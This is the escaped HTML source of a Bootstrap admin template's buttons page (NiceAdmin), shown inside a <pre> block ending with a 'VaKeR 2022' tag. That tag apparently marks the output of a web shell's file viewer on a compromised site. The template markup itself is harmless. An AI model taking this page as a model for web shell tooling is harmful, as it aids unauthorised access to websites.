                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-primary&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Primary&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-primary dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-info&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Info&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-info btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Info&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-info btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Info&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-info disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Info&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-info&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;icon_house_alt&quot;&gt;&lt;/span&gt; Info&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-info&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Info&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-info dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-success&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Success&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-success btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Success&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-success btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Success&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-success disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Success&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-success&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;icon_mic_alt&quot;&gt;&lt;/span&gt; Success&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-success&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Success&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-success dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-warning&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Warning&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-warning btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Warning&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-warning btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Warning&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-warning disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Warning&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-warning&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;icon_pin_alt&quot;&gt;&lt;/span&gt; Warning&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-warning&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Warning&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-warning dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-danger&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Danger&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-danger btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Danger&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-danger btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Danger&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-danger disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Danger&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-danger&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;icon_target&quot;&gt;&lt;/span&gt; Danger&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-danger&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Danger&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-danger dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    
                                &lt;/tbody&gt;
                        &lt;/table&gt;
                    &lt;/div&gt;
                    &lt;/section&gt;
                &lt;/div&gt;
              &lt;/div&gt;
              &lt;!-- page start--&gt;              

              &lt;div class=&quot;row&quot;&gt;
                  &lt;div class=&quot;col-sm-6&quot;&gt;
                      &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              Group Checkbox
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-primary&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-primary active&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-primary&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-danger active&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-danger&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-danger&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-info&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-info&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-info active&quot;&gt;
                                          &lt;input type=&quot;checkbox&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/section&gt;
                        &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              Group Radio
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                            &lt;div class=&quot;btn-row&quot;&gt;
                                &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-default active&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option1&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-default&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option2&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-default&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option3&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;                            
                             &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-primary&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option1&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-primary active&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option2&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-primary&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option3&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-danger&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option1&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-danger&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option2&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-danger active&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option3&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot; data-toggle=&quot;buttons&quot;&gt;
                                      &lt;label class=&quot;btn btn-info&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option1&quot;&gt; Option 1
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-info active&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option2&quot;&gt; Option 2
                                      &lt;/label&gt;
                                      &lt;label class=&quot;btn btn-info&quot;&gt;
                                          &lt;input type=&quot;radio&quot; name=&quot;options&quot; id=&quot;option3&quot;&gt; Option 3
                                      &lt;/label&gt;
                                  &lt;/div&gt;
                            &lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/section&gt;
                      &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              Block level button
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                              &lt;button type=&quot;button&quot; class=&quot;btn btn-primary btn-lg btn-block&quot;&gt;Block level button&lt;/button&gt;
                              &lt;button type=&quot;button&quot; class=&quot;btn btn-warning btn-block&quot;&gt;Block level button&lt;/button&gt;
                              &lt;button type=&quot;button&quot; class=&quot;btn btn-danger btn-xs btn-block&quot;&gt;Block level button&lt;/button&gt;
                          &lt;/div&gt;
                      &lt;/section&gt;
                      &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              Justified Button groups
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                              &lt;div class=&quot;btn-group btn-group-justified&quot;&gt;
                                  &lt;a class=&quot;btn btn-primary&quot; href=&quot;#&quot;&gt;Left&lt;/a&gt;
                                  &lt;a class=&quot;btn btn-success&quot; href=&quot;#&quot;&gt;Left&lt;/a&gt;
                                  &lt;a class=&quot;btn btn-info&quot; href=&quot;#&quot;&gt;Middle&lt;/a&gt;
                                  &lt;a class=&quot;btn btn-warning&quot; href=&quot;#&quot;&gt;Middle&lt;/a&gt;
                                  &lt;a class=&quot;btn btn-danger&quot; href=&quot;#&quot;&gt;Right&lt;/a&gt;
                              &lt;/div&gt;
                          &lt;/div&gt;                                              
                      &lt;/section&gt;                      
                  &lt;/div&gt;
                  &lt;div class=&quot;col-sm-6&quot;&gt;                      
                      &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              Group Buttons
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                                &lt;div class=&quot;btn-row&quot;&gt;
                                    &lt;div class=&quot;btn-group&quot;&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot;&gt;Left&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot;&gt;Middle&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot;&gt;Right&lt;/button&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;
                                &lt;div class=&quot;btn-row&quot;&gt;
                                    &lt;div class=&quot;btn-group&quot;&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot;&gt;Left&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot;&gt;Middle&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot;&gt;Right&lt;/button&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;
                                &lt;div class=&quot;btn-row&quot;&gt;
                                    &lt;div class=&quot;btn-group&quot;&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot;&gt;Left&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot;&gt;Middle&lt;/button&gt;
                                      &lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot;&gt;Right&lt;/button&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;                              
                              &lt;p class=&quot;&quot;&gt;Vertical button groups&lt;/p&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group-vertical&quot;&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;Top&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;Middle&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;Bottom&lt;/button&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group-vertical&quot;&gt;
                                      &lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot;&gt;Top&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot;&gt;Middle&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot;&gt;Bottom&lt;/button&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                              &lt;p class=&quot;&quot;&gt;Nested button groups&lt;/p&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-group&quot;&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;1&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot;&gt;2&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;3&lt;/button&gt;
                                      &lt;button class=&quot;btn btn-default&quot; type=&quot;button&quot;&gt;4&lt;/button&gt;
                                      &lt;div class=&quot;btn-group&quot;&gt;
                                          &lt;button data-toggle=&quot;dropdown&quot; class=&quot;btn btn-default dropdown-toggle&quot; type=&quot;button&quot;&gt; Dropdown &lt;span class=&quot;caret&quot;&gt;&lt;/span&gt; &lt;/button&gt;
                                          &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                              &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link 1&lt;/a&gt;&lt;/li&gt;
                                              &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link 2&lt;/a&gt;&lt;/li&gt;
                                              &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link 3&lt;/a&gt;&lt;/li&gt;
                                          &lt;/ul&gt;
                                      &lt;/div&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                              &lt;p class=&quot;&quot;&gt;Vertical variation&lt;/p&gt;
                              &lt;div class=&quot;btn-group-vertical&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot;&gt;Button&lt;/button&gt;                                
                                &lt;div class=&quot;btn-group&quot;&gt;
                                  &lt;button id=&quot;btnGroupVerticalDrop1&quot; type=&quot;button&quot; class=&quot;btn btn-default dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&gt;
                                    Dropdown
                                    &lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;
                                  &lt;/button&gt;
                                  &lt;ul class=&quot;dropdown-menu&quot; role=&quot;menu&quot; aria-labelledby=&quot;btnGroupVerticalDrop1&quot;&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                  &lt;/ul&gt;
                                &lt;/div&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot;&gt;Button&lt;/button&gt;                                
                                &lt;div class=&quot;btn-group&quot;&gt;
                                  &lt;button id=&quot;btnGroupVerticalDrop3&quot; type=&quot;button&quot; class=&quot;btn btn-default dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&gt;
                                    Dropdown
                                    &lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;
                                  &lt;/button&gt;
                                  &lt;ul class=&quot;dropdown-menu&quot; role=&quot;menu&quot; aria-labelledby=&quot;btnGroupVerticalDrop3&quot;&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                  &lt;/ul&gt;
                                &lt;/div&gt;
                                &lt;div class=&quot;btn-group&quot;&gt;
                                  &lt;button id=&quot;btnGroupVerticalDrop4&quot; type=&quot;button&quot; class=&quot;btn btn-default dropdown-toggle&quot; data-toggle=&quot;dropdown&quot;&gt;
                                    Dropdown
                                    &lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;
                                  &lt;/button&gt;
                                  &lt;ul class=&quot;dropdown-menu&quot; role=&quot;menu&quot; aria-labelledby=&quot;btnGroupVerticalDrop4&quot;&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Dropdown link&lt;/a&gt;&lt;/li&gt;
                                  &lt;/ul&gt;
                                &lt;/div&gt;
                              &lt;/div&gt;

                              &lt;p class=&quot;&quot;&gt;Multiple button groups&lt;/p&gt;
                              &lt;div class=&quot;btn-row&quot;&gt;
                                  &lt;div class=&quot;btn-toolbar&quot;&gt;
                                      &lt;div class=&quot;btn-group&quot;&gt;
                                          &lt;button class=&quot;btn btn-info&quot; type=&quot;button&quot;&gt;1&lt;/button&gt;
                                          &lt;button class=&quot;btn btn-info active&quot; type=&quot;button&quot;&gt;2&lt;/button&gt;
                                          &lt;button class=&quot;btn btn-info&quot; type=&quot;button&quot;&gt;3&lt;/button&gt;
                                          &lt;button class=&quot;btn btn-info&quot; type=&quot;button&quot;&gt;4&lt;/button&gt;
                                      &lt;/div&gt;
                                      &lt;div class=&quot;btn-group&quot;&gt;
                                          &lt;button class=&quot;btn btn-success&quot; type=&quot;button&quot;&gt;5&lt;/button&gt;
                                          &lt;button class=&quot;btn btn-success&quot; type=&quot;button&quot;&gt;6&lt;/button&gt;
                                          &lt;button class=&quot;btn btn-success&quot; type=&quot;button&quot;&gt;7&lt;/button&gt;
                                      &lt;/div&gt;
                                      &lt;div class=&quot;btn-group&quot;&gt;
                                          &lt;button class=&quot;btn btn-warning&quot; type=&quot;button&quot;&gt;8&lt;/button&gt;
                                      &lt;/div&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                          &lt;/div&gt;
                      &lt;/section&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
              &lt;!-- page end--&gt;
          &lt;/section&gt;
      &lt;/section&gt;
      &lt;!--main content end--&gt;
      &lt;div class=&quot;text-right&quot;&gt;
            &lt;div class=&quot;credits&quot;&gt;
                &lt;!-- 
                    All the links in the footer should remain intact. 
                    You can delete the links only if you purchased the pro version.
                    Licensing information: https://bootstrapmade.com/license/
                    Purchase the pro version form: https://bootstrapmade.com/buy/?theme=NiceAdmin
                --&gt;
                &lt;a href=&quot;https://bootstrapmade.com/free-business-bootstrap-themes-website-templates/&quot;&gt;Business Bootstrap Themes&lt;/a&gt; by &lt;a href=&quot;https://bootstrapmade.com/&quot;&gt;BootstrapMade&lt;/a&gt;
            &lt;/div&gt;
        &lt;/div&gt;
  &lt;/section&gt;
  &lt;!-- container section end --&gt;
    &lt;!-- javascripts --&gt;
    &lt;script src=&quot;js/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
    &lt;!-- nice scroll --&gt;
    &lt;script src=&quot;js/jquery.scrollTo.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/jquery.nicescroll.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;!--custome script for all page--&gt;
    &lt;script src=&quot;js/scripts.js&quot;&gt;&lt;/script&gt;


  &lt;/body&gt;
&lt;/html&gt;
</pre><center><br>VaKeR 2022</center>